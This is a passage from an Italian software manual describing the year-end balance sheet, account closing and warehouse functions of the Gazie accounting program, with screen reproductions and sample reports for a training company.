			euro	3.000,00
339	ONERI DIVERSI			
000001	Oneri fiscali diversi	14,60		
			euro	14,60
			TOTALE COSTI	

Trattandosi di un bilancio ottenuto da poche scritture, ciò che appare è la sola variazione dei conti; diversamente, per avere un bilancio di verifica vero e proprio, occorrerebbe la contabilità precedente, partendo dall'apertura dei conti.

126.4.2 Bilancio CEE

La funzione del menù `Fine anno`, `Bilancio CEE`, consente di ottenere la stampa del bilancio secondo la forma del codice civile, noto storicamente come «bilancio CEE». Per ottenere il bilancio in questa forma è necessario che nel piano dei conti siano state fatte tutte le associazioni necessarie, tra conti e voci del bilancio.

Figura 126.81. Maschera per l'indicazione del periodo della contabilità da utilizzare per produrre il bilancio.

Mentre la stampa di un bilancio di verifica è sempre possibile, il bilancio secondo la forma del codice civile richiede che sia stata fatta una preparazione dei conti attraverso le scritture in contabilità generale. Se si verificano incongruenze, queste sono segnalate in modo appariscente, con frasi come quella successiva:

> *Sono stati riscontrati i seguenti errori che non ne giustificano la stampa ma la sola visualizzazione:*
>
> *Il conto 197000020 Banca x c/c non è stato riclassificato per l'eccedenza ain avere!*

Se il bilancio non riporta errori, è possibile ottenere il file PDF con un clic sul bottone [STAMPA].

Figura 126.82. Bilancio secondo codice, ottenuto con dati coerenti.

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 2

BILANCIO IV direttiva CEE dal 01-01-2009 al 31-12-2009

ATTIVO				
B) IMMOBILIZZAZIONI:				
	II - Immobilizzazioni materiali:			
		1) Terreni e fabbricati	euro	55.085,00
		4) Altri beni materiali	euro	6.400,00
		Totale II	euro	61.485,00
		Totale B	**euro**	**61.485,00**
C) ATTIVO CIRCOLANTE:				
	I - Rimanenze:			
		4) Prodotti finiti e merci	euro	34.500,00
		Totale I	euro	34.500,00
	II - Crediti:			
		1) Crediti verso clienti	euro	33.745,91
		Totale II	euro	33.745,91
	IV - [illegible]			
		1) Depositi bancari e postali	euro	4.338,00
		3) Denaro e valori in cassa	euro	6.670,30
		Totale IV	euro	11.008,30
		Totale C	**euro**	**79.254,21**
		TOTALE DELL'ATTIVO		**140.739,21**

PASSIVO				
A) PATRIMONIO NETTO:				
	I - Capitale:			
		) Capitale sociale	euro	69.903,10
		Totale I	euro	69.903,10
	IX - Utile (perdita) dell'esercizio:			
		) Utile (perdita) dell'esercizio	euro	10.487,51
		Totale IX	euro	10.487,51
		Totale A	**euro**	**80.390,61**
C) TRATTAMENTO DI FINE RAPPORTO DI LAVORO SUBORDINATO:				
		) Trattamento di fine rapporto di lavoro subordinato	euro	9.651,79
		Totale	euro	9.651,79
		Totale C	**euro**	**9.651,79**
D) DEBITI:				
		7) Debiti verso fornitori	euro	39.770,81
		8) Debiti rappresentati da titoli di credito	euro	5.431,00
		12) Debiti tributari	euro	4.010,00
		13) Debiti verso istituti di previdenza e sicurezza sociale	euro	1.485,00
		Totale	euro	50.696,81
		Totale D	**euro**	**50.696,81**
		TOTALE DEL PASSIVO		**140.739,21**

CONTO ECONOMICO DAL 01-01-2009 AL 31-12-2009				
non class.				
		22) Imposte sul reddito d'esercizio	euro	(1.750,00)
		Totale	euro	(1.750,00)
		Totale non class.	**euro**	**(1.750,00)**
A) Valore della produzione:				
		1) Ricavi delle vendite e delle prestazioni	euro	51.629,00

Azienda...
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 2 di 2

BILANCIO IV direttiva CEE dal 01-01-2009 al 31-12-2009

Totale	euro	51.629,00
Totale A	**euro**	**51.629,00**
B) Costi della produzione:		
6) Costi per materie prime, sussidiarie, di consumo e merci	euro	(60.885,00)
7) Spese per servizi	euro	(2.563,70)
9a) Salari e stipendi	euro	(3.121,00)
9b) Oneri sociali	euro	(2.670,00)
9c) Accantonamento al TFRL	euro	(651,79)
10b) Ammortamento delle immobilizzazioni materiali	euro	(4.000,00)
11) Variazione delle rimanenze di materie prime, sussidiarie, di consumo e merci	euro	34.500,00
Totale	euro	(39.391,49)
Totale B	**euro**	**(39.391,49)**
UTILE (PERDITA) D'ESERCIZIO		**10.487,51**

126.4.3 Chiusura e apertura

La voce del menù corrispondente a *Fine anno*, *Chiusura-apertura conti*, consente di produrre automaticamente le scritture di chiusura e di riapertura dei conti.

Figura 126.83. Maschera per ottenere la chiusura e la riapertura contabile.

Fine Anno | Comunicazione annuale IVA | Controlli | Elenchi clienti e fornitori | Chiusura-Apertura Conti | Bilancio | Bilancio CEE

Chiusura e Apertura Conti

Data Registrazione Chiusura	31 Dicembre 2009
Data Registrazione Apertura	1 Gennaio 2010
Bilancio di Chiusura	598000002 - Bilancio di chiusura
Risultato Economico	598000003 - Risultato economico
Utile d'Esercizio	210000031 - Utile d'esercizio
Perdita d'Esercizio	210000032 - Perdita d'esercizio
Bilancio d'Apertura	598000001 - Bilancio di apertura
Indietro	ANTEPRIMA

215000010	Debiti v/istituti previdenziali		1.485,00
217000001	Debiti per TFRL		9.651,79
210000031	Utile d'esercizio		10.487,51
598000001	Bilancio di apertura	168.571,21	

CONFERMA !

I riferimenti ai conti da usare per la chiusura e riapertura appaiono già se sono stati indicati nella scheda dell'azienda (*Archivi di base*, *Azienda*). Con un clic sul bottone ANTEPRIMA si produce una bozza della chiusura e riapertura, la quale va eventualmente confermata successivamente con CONFERMA CHIUSURA-APERTURA CONTI.

L'operazione produce le scritture di chiusura e di riapertura dei conti. Successivamente, la contabilità (la gestione) del nuovo anno prosegue senza bisogno di cambiare «archivi».

126.5 Magazzino

La voce Magazzino porta al menù delle funzioni relative alla contabilità di magazzino.

126.5.1 Causali

Con la selezione della voce del menù Magazzino, Causali, si ottiene l'elenco delle causali di magazzino già predisposte.

Figura 126.84. Causali di magazzino predefinite.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento causale di magazzino

Lista delle causali di magazzino

Num. record = 6

Descrizione : [ ] Cerca Mostra tutti

Codice	Descrizione	Cliente/Fornitore	Operazione	Aggiorna Esistenza	Elimina
1	SCARICO PER VENDITA	Cliente	Scarico	Si	✕
2	CARICO PER RESO DA CLIENTE	Cliente	Carico	Si	✕
3	SCARICO PER C/LAVORAZIONE	Fornitore	Scarico	Si	✕
4	SCARICO PER RESO A FORNITORE	Fornitore	Scarico	Si	✕
5	CARICO PER ACQUISTO	Fornitore	Carico	Si	✕
99	INVENTARIO DI MAGAZZINO	Entrambi	Non opera	Si	✕

Per inserire una nuova causale di magazzino si utilizza la funzione Magazzino, Causali, Nuova causale di magazzino. Per modificare una causale basta fare un clic sul numero della causale, dall'elenco.

Figura 126.85. Modifica di una causale di magazzino.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Modifica Causale Di Magazzino n.1

Codice	1
Descrizione	SCARICO PER VENDITA
Cliente/Fornitore	Cliente
Dati documento	Si
Operazione	Scarico
Aggiorna Esistenza	Si
Annulla	Indietro MODIFICA !

126.5.2 Categorie merciologiche

Gli articoli di magazzino sono catalogati in base all'appartenenza a una certa categoria merciologica. Se la suddivisione in categorie non serve, occorre comunque definirne una generica. Si accede a questa funzione dalla voce Magazzino, Cat. merciologiche, con la quale si ottiene l'elenco delle categorie esistenti.

Figura 126.86. Elenco delle categorie merciologiche.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserisci Nuova Categoria Merceologica
Categorie Merceologiche
Num. record = 1

Codice	Descrizione	% Ricarico	Annotazioni	Cancella
1	CATEGORIA PRINCIPALE	0.0		✗

Descrizione: Cerca Mostra tutti

Per inserire un'altra categoria, si utilizza la funzione `Magazzino`, `Cat. merciologiche`, `Nuova categoria merciologica`. Per modificarne una esistente, basta un clic sul codice corrispondente, dall'elenco.

Figura 126.87. Modifica di una categoria merciologica.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Modifica Categoria Merceologica n.1

Numero	1
Descrizione	CATEGORIA PRINCIPALE
	Immagine PNG (max 10kb): Scegli...
% di ricarico	0.0
Annotazioni	
Annulla	Indietro MODIFICA !

126.5.3 Articoli

La funzione `Magazzino`, `Articoli`, porta all'elenco degli articoli di magazzino già predisposti.

Figura 126.88. Articoli di magazzino.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserisci Nuovo Articolo
Articoli
Num. record = 14

Descrizione: [ ] Cerca Mostra tutti

Codice	Descrizione	Categoria merceologica	U.M.	Prezzo 1	Prezzo acquisto	Giacenza	Barcode	Duplica	Cancella
NOTETRACK	Zaino per notebook	1	pz	20,00	0,00	0.000	1000000000085		
TELO	Telo copri monitor	1	pz	5,00	0,00	0.000	1000000000016		
HPROP	Propoli 20 g	1	pz	10,00	0,00	0.000	1000000000139		
CDBAG	Porta CD/DVD da viaggio	1	pz	5,00	0,00	0.000	1000000000023		
CDTOWER	Porta CD/DVD a colonna	1	pz	10,00	0,00	0.000	1000000000030		
PENGUIN	Plastic penguin	1	pz	15,88	10,55	0.000	8004551806212		
HKING	Pappa reale pura 10 g	1	pz	20,00	0,00	0.000	1000000000122		
H1000	Miele mille fiori 1 kg	1	pz	5,00	0,00	0.000	1000000000092		
HACACIA	Miele di acacia 1 kg	1	pz	5,00	0,00	0.000	1000000000108		
USBLIGHT	Luce per notebook USB	1	pz	10,00	0,00	0.000	1000000000047		
HWAX	Cera d'api grezza 1 kg	1	pz	5,00	0,00	0.000	1000000000115		
NOTEBAG	Borsa per notebook	1	pz	20,00	0,00	0.000	1000000000078		
PS2AT	adattatore da PS/2 a AT	1	pz	3,00	0,00	0.000	1000000000061		
ATPS2	adattatore da AT a PS/2	1	pz	3,00	0,00	0.000	1000000000054		

La funzione *Magazzino*, *Articoli*, *Nuovo articolo di magazzino*, consente l'inserimento di una voce aggiuntiva all'elenco esistente, mentre con un clic sul codice di un articolo, dall'elenco, si passa alla maschera di visualizzazione e modifica di quello. Inoltre, se si fa un clic su ciò che appare nella colonna '**Duplica**', si passa all'inserimento di un nuovo articolo di magazzino, partendo dai dati di quello selezionato, scelto opportunamente per la similitudine con quello nuovo.

Figura 126.89. Visualizzazione e modifica di un articolo di magazzino.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Modifica Articolo

Codice Articolo *	PENGUIN
Descrizione *	Plastic penguin
Codice a barre	8004551806212
Unità di misura *	pz
Categoria merceologica	1-CATEGORIA PRINCIPALE
Prezzo d'acquisto	10.55
Prezzo listino 1	15.88
Prezzo listino 2	16.90
Prezzo listino 3	19.21
Aliquota I.V.A *	IVA al 20%
Esistenza attuale	0.000
Valore dell'esistente	0.00
Ultimo costo d'acquisto	0.00
Scorta minima	0.000
Lotto acquisto	0.000
Unità di misura per acquisti	pz
Peso specifico/Moltiplicatore	0.200
Volume specifico	0.810
Pezzi in imballo	3
Conto di Ricavo	----------
Conto di Costo	----------
	Immagine PNG di forma quadra (max 10kb): Scegli...
Annotazioni	PET 100 gr
I campi contrassegnati con * sono obbligatori!	Indietro Cancella MODIFICA !

Durante la visualizzazione dell'elenco degli articoli (che si ottiene con `Magazzino`, `Articoli`), se si fa un clic sul numero del codice a barre, si ottiene un file PDF con tanti codici a barre uguali, dell'articolo scelto. Questo foglio potrebbe essere stampato su carta adesiva, per poter applicare il codice sul prodotto.

Figura 126.90. Foglio con il codice a barre di un prodotto.

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 03 Dicembre 2008

Codice	Cat.Merc	Descrizione	U.M.	Scorta
PENGUIN	1	Plastic penguin	pz	0,0

8004551806212	8004551806212	8004551806212	
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212
8004551806212	8004551806212	8004551806212	8004551806212

Azienda per le esercitazioni piazza della Vittoria 3/4 31100 TREVISO (TV) Tel. C.F.:80011540269 P.I.:80011540269

La funzione `Magazzino`, `Articoli`, `Rivalutazione esistente`, porta a una maschera di selezione dell'anno, con la quale si genera la rivalutazione sulla base del criterio stabilito nella scheda dell'azienda (`Archivi di base`, `Azienda`).

Figura 126.91. Rivalutazione, quando la configurazione prevede l'uso del costo medio.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Rivalutazione esistenza articoli da movimenti di magazzino

Metodo di rivalutazione, scelto in configurazione azienda: Prezzo medio ponderato(WMA)

Anno di riferimento 2008

Indietro CONFERMA !

Sono stati movimentati i seguenti 2 articoli durante il 2008:

Movimenti	Codice	Descrizione	Esistenza/UM acq.	Valore precedente	Valore rivalutato
3	CDBAG	Porta CD/DVD da viaggio	100 pz	0,00	10,00
7	TELO	Telo copri monitor	0 pz	0,00	9,50

(1) perchè ci sono degli acquisti negli anni successivi al 2008
(2) perchè non ci sono movimenti di acquisto nel 2008

Figura 126.92. Rivalutazione, quando la configurazione prevede l'uso del sistema LIFO.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Rivalutazione esistenza articoli da movimenti di magazzino

Metodo di rivalutazione, scelto in configurazione azienda: LIFO

Anno di riferimento 2008

Indietro CONFERMA !

Sono stati movimentati i seguenti 2 articoli durante il 2008:

Movimenti	Codice	Descrizione	Esistenza/UM acq.	Valore precedente	Valore rivalutato
3	CDBAG	Porta CD/DVD da viaggio	100 pz	1.000,00	10,00
7	TELO	Telo copri monitor	0 pz	0,00	10,00

(1) perchè ci sono degli acquisti negli anni successivi al 2008
(2) perchè non ci sono movimenti di acquisto nel 2008

Figura 126.93. Rivalutazione, quando la configurazione prevede l'uso del sistema FIFO.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Rivalutazione esistenza articoli da movimenti di magazzino

Metodo di rivalutazione, scelto in configurazione azienda: FIFO

Anno di riferimento 2008

Indietro CONFERMA !

Sono stati movimentati i seguenti 2 articoli durante il 2008:

Movimenti	Codice	Descrizione	Esistenza/UM acq.	Valore precedente	Valore rivalutato
3	CDBAG	Porta CD/DVD da viaggio	100 pz	1.000,00	10,00
7	TELO	Telo copri monitor	0 pz	0,00	9,00

(1) perchè ci sono degli acquisti negli anni successivi al 2008
(2) perchè non ci sono movimenti di acquisto nel 2008

126.5.4 Movimenti

La funzione `Magazzino`, `Movimenti`, porta all'elenco dei movimenti di magazzino già inseriti. Inizialmente, tale elenco è vuoto.

Figura 126.94. `Magazzino`, `Movimenti`, con un elenco vuoto inizialmente.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserisci movimento di magazzino — Genera movimenti da documenti

Stampa schedari articoli — Giornale di Magazzino

Lista dei movimenti di magazzino

Num. record = 0

Causale : [ ] Cerca Mostra tutti

n.ID	Data reg.	Causale	Documento	Articolo	Quantità	Importo	Elimina

Per inserire un movimento di magazzino serve la funzione `Magazzino`, `Movimenti`, `Nuovo movimento di magazzino`.

Figura 126.95. Maschera di inserimento di un movimento di magazzino.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento movimento di magazzino

Data della registrazione 2 Dicembre 2008 — Causale ------------
Cliente⇒Fornitore inserire min. 2 carattere/i ! — Data documento 2 Dicembre 2008
Descrizione doc. — Sconto chiusura 0 %
Articolo inserire min. 1 carattere/i ! — Quantità 0
Prezzo 0 € — Sconto su rigo 0 %
Importo 0 — Operazione Non opera
Annulla Indietro INSERIMENTO !

In questa maschera di inserimento vanno osservati i campi di inserimento del cliente o del fornitore, e del codice articolo: in tutti i casi vanno indicati i primi caratteri (per clienti o fornitori servono almeno due caratteri, mentre per l'articolo di magazzino ne serve almeno uno). Se l'elenco complessivo non è eccessivamente lungo, al posto di questi caratteri iniziali si può usare il carattere '`%`' (due volte o una volta soltanto).

Figura 126.96. Sapendo che l'elenco complessivo di clienti e fornitori non è molto lungo, si possono usare due caratteri di percentuale per ottenerlo al completo.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento movimento di magazzino

Data della registrazione 2 Dicembre 2008 — Causale ------------
Cliente⇒Fornitore %% inserire min. 2 carattere/i ! — Data documento 2 Dicembre 2008
Descrizione doc. — Sconto chiusura 0 %
Articolo inserire min. 1 carattere/i ! — Quantità 0
Prezzo 0 € — Sconto su rigo 0 %
Importo 0 — Operazione Non opera
Annulla Indietro INSERIMENTO !

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento movimento di magazzino

Data della registrazione 2 Dicembre 2008 — Causale ------------
Cliente⇒Fornitore ---------- %% — Data documento 2 Dicembre 2008
Descrizione doc. — Sconto chiusura 0 %
Articolo inserire min. 1 carattere/i ! — Quantità 0
Prezzo 0.00 € — Sconto su rigo 0 %
Importo 0 — Operazione Non opera
Annulla Indietro INSERIMENTO !

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento movimento di magazzino

Data della registrazione	2 Dicembre 2008	Causale	-------------
Cliente⇒Fornitore	Tutto hardware	Data documento	2 Dicembre 2008
Descrizione doc.		Sconto chiusura	0 %
Articolo	inserire min. 1 carattere/i !	Quantità	0
Prezzo	0.00 €	Sconto su rigo	0 %
Importo	0	Operazione	Non opera
Annulla Indietro			INSERIMENTO !

Figura 126.97. Anche per il codice articolo, vale la possibilità di usare il carattere di percentuale per ottenere l'elenco completo.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento movimento di magazzino

Data della registrazione	2 Dicembre 2008	Causale	-------------
Cliente⇒Fornitore	Tutto hardware	Data documento	2 Dicembre 2008
Descrizione doc.	ddt 10, prot. 3	Sconto chiusura	0 %
Articolo	% inserire min. 1 carattere/i !	Quantità	0
Prezzo	0.00 €	Sconto su rigo	0 %
Importo	0	Operazione	Non opera
Annulla Indietro			INSERIMENTO !

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento movimento di magazzino

Data della registrazione	2 Dicembre 2008	Causale	-------------
Cliente⇒Fornitore	Tutto hardware	Data documento	2 Dicembre 2008
Descrizione doc.	ddt 10, prot. 3	Sconto chiusura	0 %
Articolo	-------- %	Quantità	0
Prezzo	0.00 €	Sconto su rigo	0 %
Importo	0	Operazione	Non opera
Annulla Indietro			INSERIMENTO !

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento movimento di magazzino

Data della registrazione	2 Dicembre 2008	Causale	-------------
Cliente⇒Fornitore	Tutto hardware	Data documento	2 Dicembre 2008
Descrizione doc.	ddt 10, prot. 3	Sconto chiusura	0 %
Articolo	Telo copri monitor	Quantità	0 pz
Prezzo	0.00 €	Sconto su rigo	0 %
Importo	0	Operazione	Non opera
Annulla Indietro			INSERIMENTO !

Va osservato che il prezzo complessivo si calcola automaticamente, quando vengono inseriti almeno la quantità e il prezzo unitario.

Figura 126.98. Inserimento pronto per la conferma.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserimento movimento di magazzino

Data della registrazione	2 Dicembre 2008	Causale	5 - CARICO PER ACQUISTO
Cliente⇒Fornitore	Tutto hardware	Data documento	1 Dicembre 2008
Descrizione doc.	ddt 10, prot. 3	Sconto chiusura	0 %
Articolo	Telo copri monitor	Quantità	100 pz
Prezzo	9.00 €	Sconto su rigo	0 %
Importo	900.00	Operazione	Carico
Annulla Indietro			INSERIMENTO !

La maschera di inserimento dei movimenti di magazzino, in modo manuale, non prevede automatismi, a parte il calcolo dell'importo complessivo.

Figura 126.99. Al termine dell'inserimento, si torna all'elenco dei movimenti.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Inserisci movimento di magazzino Genera movimenti da documenti

Stampa schedari articoli Giornale di Magazzino

Lista dei movimenti di magazzino

Num. record = 1

Causale : Cerca Mostra tutti

n.ID	Data reg.	Causale	Documento	Articolo	Quantità	Importo	Elimina
3	2008-12-02	5 - CARICO PER ACQUISTO	ddt 10, prot. 3 del 2008-12-01	TELO	100	900,00	✗

Per modificare un movimento è sufficiente un clic sul numero dello stesso, alla sinistra dell'elenco relativo.

Figura 126.100. Modifica di un movimento.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Modifica movimento di magazzino n.3

Data della registrazione	2 Dicembre 2008	Causale	5 - CARICO PER ACQUISTO
Cliente⇒Fornitore	Tutto hardware	Data documento	1 Dicembre 2008
Descrizione doc.	ddt 10, prot. 3	Sconto chiusura	0.00 %
Articolo	Telo copri monitor	Quantità	100 pz
Prezzo	9.00 €	Sconto su rigo	0.0 %
Importo	900	Operazione	Carico
Annulla Indietro			MODIFICA !

La configurazione consigliata di Gazie, prevede che l'emissione di documenti che si associano al carico o allo scarico di magazzino, generino automaticamente il movimento di magazzino corrispondente. La configurazione viene fatta nella scheda dell'azienda, alla voce `Archivi di base`, `Azienda`. Nel caso invece si preferisca che tali movimenti non vengano prodotti in modo automatico e simultaneo, si può richiedere un inserimento «manuale», con il quale va ordinato espressamente tale l'inserimento. Con la funzione `Magazzino`, `Articoli`, `Genera movimenti di magazzino`.

Figura 126.101. Maschera per richiedere la generazione dei movimenti di magazzino che non fossero già stati prodotti automaticamente.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Genera movimenti di magazzino da documenti

Data inizio 1 Gennaio 2008
Data fine 31 Dicembre 2008
Indietro ANTEPRIMA !

Confermando il periodo con il bottone grafico ANTEPRIMA si ottiene l'elenco dei documenti che potrebbero essere tradotti in movimenti di magazzino.

Figura 126.102. Anteprima dei movimenti da generare.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Genera movimenti di magazzino da documenti

Data inizio 1 Gennaio 2008
Data fine 31 Dicembre 2008
Indietro ANTEPRIMA !

1 righi sono da traferire in magazzino:

2008-12-02	1 - Luce per notebook USB	Fattura Immediata n.3	USBLIGHT	300.000	3.000,00

GENERA MOVIMENTI DI MAGAZZINO DA DOCUMENTI !

È sufficiente un clic sul bottone GENERA MOVIMENTI DI MAGAZZINO DA DOCUMENTI per procedere e concludere l'operazione.

126.5.5 Giornale e schede

Attraverso la funzione *Magazzino*, *Movimenti*, *Stampa giornale di magazzino*, si giunge a una maschera con la quale è possibile specificare un periodo per la stampa del giornale di magazzino.

Figura 126.103. Maschera per l'inserimento del periodo da stampare nel giornale di magazzino

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Giornale di Magazzino

Data inizio 1 Gennaio 2008
Data fine 31 Gennaio 2008
Indietro STAMPA !

Selezionando il bottone STAMPA si ottiene il file PDF del giornale, che può essere salvato o stampato effettivamente.

Figura 126.104. Esempio di giornale di magazzino.

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 1 di 1

TREVISO, lì 31 gennaio 2008

GIORNALE DI MAGAZZINO dal 01-01-2008 al 31-01-2008

Data Reg.	Causale	Articolo	Rif.Documento	Prezzo	Valore	U.M.	Mov.Quant.
01-01-2008	5-CARICO PER ACQUISTO	TELO - Telo copri monitor	ddt 5, prot. 1 del 01-01-2008	10,00	1.000,00	pz	100
02-01-2008	5-CARICO PER ACQUISTO	CDBAG - Porta CD/DVD da viaggio	ddt 7, prot. 2 del 01-01-2008	10,00	3.000,00	pz	300
03-01-2008	1-SCARICO PER VENDITA	TELO - Telo copri monitor	ddt 1 del 03-01-2008	0,00	0,00	pz	-30
04-01-2008	1-SCARICO PER VENDITA	CDBAG - Porta CD/DVD da viaggio	fattura 1 del 03-01-2008	0,00	0,00	pz	-100
05-01-2008	1-SCARICO PER VENDITA	TELO - Telo copri monitor	fattura 2 del 04-01-2008	0,00	0,00	pz	-60
06-01-2008	1-SCARICO PER VENDITA	CDBAG - Porta CD/DVD da viaggio	ddt 2 del 06-01-2008	0,00	0,00	pz	-100
07-01-2008	5-CARICO PER ACQUISTO	TELO - Telo copri monitor	ddt 10, prot. 3 del 05-01-2008	9,00	900,00	pz	100
08-01-2008	1-SCARICO PER VENDITA	TELO - Telo copri monitor	ddt 3 del 06-01-2008	0,00	0,00	pz	-50
09-01-2008	4-SCARICO PER RESO A FOR	TELO - Telo copri monitor	ddt 4 del 09-01-2008	10,00	100,00	pz	-10
10-01-2008	1-SCARICO PER VENDITA	TELO - Telo copri monitor	ddt 5 del 10-01-2008	0,00	0,00	pz	-50

Per ottenere le schede di magazzino, si deve selezionare la voce `Magazzino`, `Movimenti`, `Stampa schedari articoli di magazzino`. Si deve poi selezionare il gruppo di articoli e il periodo.

Figura 126.105. Maschera per la selezione del periodo e il gruppo di articoli di cui si vuole ottenere la scheda.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Stampa schedari articoli

Categoria merceologica inizio	1-CATEGORIA PRINCIPALE
Categoria merceologica fine	1-CATEGORIA PRINCIPALE
Codice articolo inizio	ATPS2
Codice articolo fine	USBLIGHT
Data inizio	1 Gennaio 2008
Data fine	31 Gennaio 2008
	Indietro STAMPA !

Figura 126.106. Esempi di schede di articoli di magazzino.

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 1 di 1

TREVISO, lì 31 gennaio 2008

Codice	Cat.Merc	Descrizione	U.M.	Scorta
CDBAG	1	Porta CD/DVD da viaggio	pz	0,0

SCHEDA DI MAGAZZINO dal 01-01-2008 al 31-01-2008

Data Reg.	Causale	Descrizione documento - Cliente/Fornitore	Prezzo	Valore	U.M.	Mov.Quant.	Consistenza
02-01-2008	5-CARICO PER ACQUISTO	ddt 7, prot. 2 del 01-01-2008 - Tutto hardware	10,00	3.000,00	pz	300	300
04-01-2008	1-SCARICO PER VENDITA	fattura 1 del 03-01-2008 - Alberoni & C.	0,00	0,00	pz	-100	200
06-01-2008	1-SCARICO PER VENDITA	ddt 2 del 06-01-2008 - Alberoni & C.	0,00	0,00	pz	-100	100
						Consistenza al 31-01-2008 :	**100**

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F. 80011540269 P.I. 80011540269

Pagina 1 di 1

TREVISO, lì 31 gennaio 2008

Codice	Cat.Merc	Descrizione	U.M.	Scorta
TELO	1	Telo copri monitor	pz	0,0

SCHEDA DI MAGAZZINO dal 01-01-2008 al 31-01-2008

Data Reg.	Causale	Descrizione documento - Cliente/Fornitore	Prezzo	Valore	U.M.	Mov.Quant.	Consistenza
01-01-2008	5-CARICO PER ACQUISTO	ddt 5, prot. 1 del 01-01-2008 - Tutto hardware	10,00	1.000,00	pz	100	100
03-01-2008	1-SCARICO PER VENDITA	ddt 1 del 03-01-2008 - Alberoni & C.	0,00	0,00	pz	-30	70
05-01-2008	1-SCARICO PER VENDITA	fattura 2 del 04-01-2008 - Alberoni & C.	0,00	0,00	pz	-60	10
07-01-2008	5-CARICO PER ACQUISTO	ddt 10, prot. 3 del 05-01-2008 - Tutto hardware	9,00	900,00	pz	100	110
08-01-2008	1-SCARICO PER VENDITA	ddt 3 del 06-01-2008 - Alberoni & C.	0,00	0,00	pz	-50	60
09-01-2008	4-SCARICO PER RESO A F	ddt 4 del 09-01-2008 - Tutto hardware	10,00	100,00	pz	-10	50
10-01-2008	1-SCARICO PER VENDITA	ddt 5 del 10-01-2008 - Alberoni & C.	0,00	0,00	pz	-50	0
						Consistenza al 31-01-2008 :	**0**

126.5.6 Listini e cataloghi

Con la funzione `Magazzino`, `Listini`, è possibile selezionare un intervallo di articoli di cui si vuole stampare un listino. Gli articoli di magazzino possono disporre di diversi prezzi di vendita e possono annotare anche un prezzo di acquisto (se ciò può essere utile). Pertanto, la stampa di un listino implica la scelta del gruppo di prezzi.

Figura 126.107. Selezione di un insieme di articoli di cui si vuole stampare un certo listino.

Magazzino | Articoli | Cat. Merceologiche | Movimenti | Causali | Listini | Modifica prezzi | Catalogo | Statistiche

Stampa Listino

Listino da stampare	Vendita 1
Categoria merceologica inizio	1-CATEGORIA PRINCIPALE
Categoria merceologica fine	1-CATEGORIA PRINCIPALE
Codice articolo inizio	ATPS2
Codice articolo fine	USBLIGHT

Indietro | VISUALIZZA L'ANTEPRIMA !

Selezionando il bottone VISUALIZZA L'ANTEPRIMA si ottiene una bozza del listino, in modo da poter aggiustare eventualmente la selezione nella maschera già utilizzata.

Figura 126.108. Anteprima del listino, in base alla selezione.

